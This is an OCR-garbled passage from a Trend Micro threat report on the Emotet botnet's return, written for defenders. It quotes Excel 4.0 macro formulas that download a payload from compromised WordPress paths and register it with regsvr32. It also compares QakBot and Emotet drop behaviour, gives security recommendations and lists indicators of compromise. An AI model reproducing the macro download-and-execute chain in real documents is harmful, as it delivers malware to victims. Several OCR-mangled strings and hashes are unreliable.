I=IF[GFGH1<0, CALL{"urlmon","URLDownloadToFileA","JICCBB",0,"https:/ A /t0ssm/roE/","..\aew.ocx",0,0)]

I:IF{GFGH}‘<CI, CALL("urimon","URLDownloadToFileA”,"JICCBB",0,"https:/ /) Ywp-admin/FeDgNER/",". \aew.ocx",0,0))

[=IF(GFGH3<U, CALL{"urlmon","URLDownloadToFileA","JJCCBB",0, hitps://| /wp-admin/wxBAWp3KyEMCsZva/","..\aew.ocx",0,0))

I:lF{GFGHd—«'O, CALL("urimon","URLDownloadToFileA","JICCBB",0,"https://| Jeamelia-diamond_/G/","..\aew.ocx",0,0))

I-IF[G FGH5<0, CALL("urimon","URLDownloadToFileA","JICCBB",0," https://] ¥blogs/36DIPOKwWRR1VOFQR/","..\aew.ocx",0,0))

|=IF(GFGH6<0, CLOSE(0),)

[:ExEC:"C:\Wl ndows\SysWowed\regsvriZ.exe /s .\aew.ocx")

Figure 22. The URLs in an Emotet macro sheet
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Although the Excel files in both QakBot (Figure 23) and Emotet (Figure 24) infections employ regsvr32.exe to execute their
payloads, only QakBot drops its payload in a folder with a random five-character name that is located in the C:\ drive

(Figure 25). Emotet, on the other hand, drops its payload in the parent directory of its downloader (Figure 26).

4 Fiddler exe 664
S

B ¥|EXCELEXE 3372
(= regevriZ exe 2940
(= regavri? exe 25996
(=7 regavri2 exe 2748
1

Figure 23. QakBot’s use of regsvr32.exe to execute its payload

) - explorer exe 2080
{0 vimtoolsd exe 21%

Figure 24. Emotet’s use of regsvr32.exe to execute its payload

Image File
@ Microsoft{C) Register Server
(Mot verified) Microsoft Corporation
Version: 6.01.7600. 16385
Time: F(14/2009 9: 14 AM

Path:
I C:\Windows\System32\regsvr32.exe

Command line:

I "C\Windows\System32yregsvr32. exe’ C:\Sdusrixgxa.oox
Current directory:

I C:\Wsers\Win7x32\Documents),

Figure 25. QakBot dropping its malicious payload in a folder in C:\

Image File
@ Microsoft(C) Register Server
Microsoft Corporation
Version: 6.1.70800, 16335
Build Time: Tue Jul 14 07:58:32 2009
Path:
Ci\Windows\SysWOWE4regsvr32.exe Explore

Command line:
regsvr32.exe "C:Y_virus\xde ocx”
Current directory:
C:\Windows\SysWOWES,
Autostart Location:

nfa Explore
Figure 26. Emotet dropping its malicious payload in a folder
Security recommendations

For enterprises to avoid falling victim to spam emails used in Emotet and QakBot campaigns, user awareness training for
employees should be expanded to address email reply chain attacks. Security practices that can mitigate the risk of infection

include:

. Ensuring that macros are disabled in Microsoft Office applications
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. Hovering over embedded links to check the URLSs before opening them

e Being wary of unfamiliar email addresses, mismatched email addresses and sender names, and spoofed company

emails, all of which are telltale signs that the sender has malicious intent

. Refraining from downloading any email attachments without verifying the sender’s identity

. Enabling advanced detection capabilities, such as predictive machine learning

Users and businesses can defend themselves against threats like Emotet using endpoint solutions such as Trend

Micro’s Smart Protection Suites and Worry-Free Business Security solutions, which have behavior-monitoring capabilities

that can detect malicious files, scripts, and messages, and block all related malicious URLs. The Trend Micro™ Deep

Discovery™ solution also has a layer for email inspectionproducts that can protect enterprises by detecting malicious

attachments and URLs.

Additional insights by Jett Paulo Bernardo, Arianne Dela Cruz, Dexter Esteves, Gerald Fernandez, Mark Marti, Ryan

Pagaduan, and Louella Darlene Sevilla

Indicators of compromise (IOCs)

SHA-256 Description

Emotet
sample using
Excel 4.0

48426fd5c5be7a8efdbbf2d9f0070626aa9bfe9734aab9278ddd293e889a19cc
macros

Emotet
e9bf38414636c6¢cefdcc35fad5523de205eca815b979ed36e96a7e6166a58370 load
payloa

Hexadecimal
5c4f33e22f9def7f7feaB863e08c38f6a8b4ea9fcc78911c23bb54c4fdf4590e1 IP address

sample

Octal IP
€961e46fe0000505f4534e036a9d1d2a59823cf644438a2733ab659€9c22988b  address

sample

Detection name

Trojan. XF.EMOTET.YJCCXB

TrojanSpy.Win32. EMOTET.YJC(

Trojan. XFEMOTET.SMYXBLA

Trojan. XFEMOTET.SMYXBLA

Source: https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken--the-resurgence-of-the-emotet-botnet-malw.html
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